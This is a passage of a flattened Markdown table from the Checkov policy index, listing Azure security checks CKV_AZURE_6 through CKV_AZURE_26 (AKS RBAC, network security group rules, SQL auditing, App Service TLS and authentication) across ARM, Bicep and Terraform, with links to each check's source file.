azurerm_kubernetes_cluster | Ensure RBAC is enabled on AKS clusters | Terraform | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSRbacEnabled.py) | | 5499 | CKV_AZURE_6 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS has an API Server Authorized IP Ranges enabled | arm | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py) | | 5500 | CKV_AZURE_6 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS has an API Server Authorized IP Ranges enabled | Bicep | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py) | | 5501 | CKV_AZURE_6 | resource | azurerm_kubernetes_cluster | Ensure AKS has an API Server Authorized IP Ranges enabled | Terraform | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSApiServerAuthorizedIpRanges.py) | | 5502 | CKV_AZURE_7 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster has Network Policy configured | arm | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py) | | 5503 | CKV_AZURE_7 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster has Network Policy configured | Bicep | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py) | | 5504 | CKV_AZURE_7 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster has Network Policy configured | Terraform | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNetworkPolicy.py) | | 5505 | CKV_AZURE_8 | resource | Microsoft.ContainerService/managedClusters | Ensure Kubernetes Dashboard is disabled | arm | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py) | | 5506 | CKV_AZURE_8 | resource | Microsoft.ContainerService/managedClusters | Ensure Kubernetes Dashboard is disabled | Bicep | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py) | | 5507 | CKV_AZURE_8 | resource | azurerm_kubernetes_cluster | Ensure Kubernetes Dashboard is disabled | Terraform | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSDashboardDisabled.py) | | 5508 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups | Ensure that RDP access is restricted from the internet | arm | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 5509 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups | Ensure that RDP access is restricted from the internet | Bicep | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 5510 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that RDP access is restricted from the internet | arm | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 5511 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that RDP access is restricted from the internet | Bicep | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 5512 | CKV_AZURE_9 | resource | azurerm_network_security_group | Ensure that RDP access is restricted from the internet | Terraform | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py) | | 5513 | CKV_AZURE_9 | resource | azurerm_network_security_rule | Ensure that RDP access is restricted from the internet | Terraform | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py) | | 5514 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups | Ensure that SSH access is restricted from the internet | arm | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 5515 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups | Ensure that SSH access is restricted from the internet | Bicep | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 5516 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that SSH access is restricted from the internet | arm | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 5517 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that SSH access is restricted from the internet | Bicep | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 5518 | CKV_AZURE_10 | resource | azurerm_network_security_group | Ensure that SSH access is restricted from the internet | Terraform | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py) | | 5519 | CKV_AZURE_10 | resource | azurerm_network_security_rule | Ensure that SSH access is restricted from the internet | Terraform | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py) | | 5520 | CKV_AZURE_11 | resource | Microsoft.Sql/servers | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | arm | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py) | | 5521 | CKV_AZURE_11 | resource | Microsoft.Sql/servers | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Bicep | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py) | | 5522 | CKV_AZURE_11 | resource | azurerm_mariadb_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 5523 | CKV_AZURE_11 | resource | azurerm_mssql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 5524 | CKV_AZURE_11 | resource | azurerm_mysql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 5525 | CKV_AZURE_11 | resource | azurerm_mysql_flexible_server_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 5526 | CKV_AZURE_11 | resource | azurerm_postgresql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 5527 | CKV_AZURE_11 | resource | azurerm_sql_firewall_rule | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py) | | 5528 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5529 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5530 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5531 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5532 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5533 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5534 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5535 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 5536 | CKV_AZURE_12 | resource | azurerm_network_watcher_flow_log | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Terraform | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkWatcherFlowLogPeriod.py) | | 5537 | CKV_AZURE_13 | resource | Microsoft.Web/sites/config | Ensure App Service Authentication is set on Azure App Service | arm | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 5538 | CKV_AZURE_13 | resource | Microsoft.Web/sites/config | Ensure App Service Authentication is set on Azure App Service | Bicep | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 5539 | CKV_AZURE_13 | resource | azurerm_app_service | Ensure App Service Authentication is set on Azure App Service | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py) | | 5540 | CKV_AZURE_13 | resource | azurerm_linux_web_app | Ensure App Service Authentication is set on Azure App Service | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py) | | 5541 | CKV_AZURE_13 | resource | azurerm_windows_web_app | Ensure App Service Authentication is set on Azure App Service | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py) | | 5542 | CKV_AZURE_13 | resource | config | Ensure App Service Authentication is set on Azure App Service | arm | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 5543 | CKV_AZURE_13 | resource | config | Ensure App Service Authentication is set on Azure App Service | Bicep | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 5544 | CKV_AZURE_14 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | arm | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py) | | 5545 | CKV_AZURE_14 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Bicep | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py) | | 5546 | CKV_AZURE_14 | resource | azurerm_app_service | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py) | | 5547 | CKV_AZURE_14 | resource | azurerm_linux_web_app | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py) | | 5548 | CKV_AZURE_14 | resource | azurerm_windows_web_app | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py) | | 5549 | CKV_AZURE_15 | resource | Microsoft.Web/sites | Ensure web app is using the latest version of TLS encryption | arm | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py) | | 5550 | CKV_AZURE_15 | resource | Microsoft.Web/sites | Ensure web app is using the latest version of TLS encryption | Bicep | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py) | | 5551 | CKV_AZURE_15 | resource | azurerm_app_service | Ensure web app is using the latest version of TLS encryption | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py) | | 5552 | CKV_AZURE_15 | resource | azurerm_linux_web_app | Ensure web app is using the latest version of TLS encryption | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py) | | 5553 | CKV_AZURE_15 | resource | azurerm_windows_web_app | Ensure web app is using the latest version of TLS encryption | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py) | | 5554 | CKV_AZURE_16 | resource | Microsoft.Web/sites | Ensure that Register with Azure Active Directory is enabled on App Service | arm | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py) | | 5555 | CKV_AZURE_16 | resource | Microsoft.Web/sites | Ensure that Register with Azure Active Directory is enabled on App Service | Bicep | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py) | | 5556 | CKV_AZURE_16 | resource | azurerm_app_service | Ensure that Register with Azure Active Directory is enabled on App Service | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py) | | 5557 | CKV_AZURE_16 | resource | azurerm_linux_web_app | Ensure that Register with Azure Active Directory is enabled on App Service | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py) | | 5558 | CKV_AZURE_16 | resource | azurerm_windows_web_app | Ensure that Register with Azure Active Directory is enabled on App Service | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py) | | 5559 | CKV_AZURE_17 | resource | Microsoft.Web/sites | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | arm | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py) | | 5560 | CKV_AZURE_17 | resource | Microsoft.Web/sites | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Bicep | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py) | | 5561 | CKV_AZURE_17 | resource | azurerm_app_service | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py) | | 5562 | CKV_AZURE_17 | resource | azurerm_linux_web_app | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py) | | 5563 | CKV_AZURE_17 | resource | azurerm_windows_web_app | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py) | | 5564 | CKV_AZURE_18 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest if used to run the web app | arm | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py) | | 5565 | CKV_AZURE_18 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest if used to run the web app | Bicep | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py) | | 5566 | CKV_AZURE_18 | resource | azurerm_app_service | Ensure that 'HTTP Version' is the latest if used to run the web app | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py) | | 5567 | CKV_AZURE_18 | resource | azurerm_linux_web_app | Ensure that 'HTTP Version' is the latest if used to run the web app | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py) | | 5568 | CKV_AZURE_18 | resource | azurerm_windows_web_app | Ensure that 'HTTP Version' is the latest if used to run the web app | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py) | | 5569 | CKV_AZURE_19 | resource | Microsoft.Security/pricings | Ensure that standard pricing tier is selected | arm | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py) | | 5570 | CKV_AZURE_19 | resource | Microsoft.Security/pricings | Ensure that standard pricing tier is selected | Bicep | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py) | | 5571 | CKV_AZURE_19 | resource | azurerm_security_center_subscription_pricing | Ensure that standard pricing tier is selected | Terraform | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterStandardPricing.py) | | 5572 | CKV_AZURE_20 | resource | Microsoft.Security/securityContacts | Ensure that security contact 'Phone number' is set | arm | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py) | | 5573 | CKV_AZURE_20 | resource | Microsoft.Security/securityContacts | Ensure that security contact 'Phone number' is set | Bicep | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py) | | 5574 | CKV_AZURE_20 | resource | azurerm_security_center_contact | Ensure that security contact 'Phone number' is set | Terraform | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactPhone.py) | | 5575 | CKV_AZURE_21 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | arm | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py) | | 5576 | CKV_AZURE_21 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Bicep | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py) | | 5577 | CKV_AZURE_21 | resource | azurerm_security_center_contact | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Terraform | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlert.py) | | 5578 | CKV_AZURE_22 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | arm | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py) | | 5579 | CKV_AZURE_22 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Bicep | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py) | | 5580 | CKV_AZURE_22 | resource | azurerm_security_center_contact | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Terraform | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlertAdmins.py) | | 5581 | CKV_AZURE_23 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' is set to 'Enabled' for SQL servers | arm | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py) | | 5582 | CKV_AZURE_23 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 5583 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/auditingSettings | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 5584 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/databases | Ensure that 'Auditing' is set to 'Enabled' for SQL servers | arm | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py) | | 5585 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/databases | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 5586 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/databases/auditingSettings | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 5587 | CKV_AZURE_23 | resource | azurerm_mssql_server | Ensure that 'Auditing' is set to 'On' for SQL servers | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml) | | 5588 | CKV_AZURE_23 | resource | azurerm_mssql_server_extended_auditing_policy | Ensure that 'Auditing' is set to 'On' for SQL servers | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml) | | 5589 | CKV_AZURE_23 | resource | azurerm_sql_server | Ensure that 'Auditing' is set to 'On' for SQL servers | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml) | | 5590 | CKV_AZURE_24 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | arm | [SQLServerAuditingRetention90Days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingRetention90Days.py) | | 5591 | CKV_AZURE_24 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Bicep | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml) | | 5592 | CKV_AZURE_24 | resource | Microsoft.Sql/servers/auditingSettings | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Bicep | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml) | | 5593 | CKV_AZURE_24 | resource | azurerm_mssql_server | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml) | | 5594 | CKV_AZURE_24 | resource | azurerm_mssql_server_extended_auditing_policy | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml) | | 5595 | CKV_AZURE_24 | resource | azurerm_sql_server | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml) | | 5596 | CKV_AZURE_25 | resource | Microsoft.Sql/servers | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 5597 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/databases | Ensure that 'Threat Detection types' is set to 'All' | arm | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerThreatDetectionTypes.py) | | 5598 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/databases | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 5599 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/databases/securityAlertPolicies | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 5600 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/securityAlertPolicies | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 5601 | CKV_AZURE_25 | resource | azurerm_mssql_server_security_alert_policy | Ensure that 'Threat Detection types' is set to 'All' | Terraform | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerThreatDetectionTypes.py) | | 5602 | CKV_AZURE_26 | resource | Microsoft.Sql/servers/databases | Ensure that 'Send Alerts To' is enabled for MSSQL servers | arm | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py) | | 5603 | CKV_AZURE_26 | resource | Microsoft.Sql/servers/databases | Ensure that 'Send Alerts To' is enabled for MSSQL servers | Bicep | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py) | | 5604 | CKV_AZURE_26 | resource | azurerm_mssql_server_security_alert_policy | Ensure that 'Send Alerts To' is enabled for MSSQL servers | Terraform | 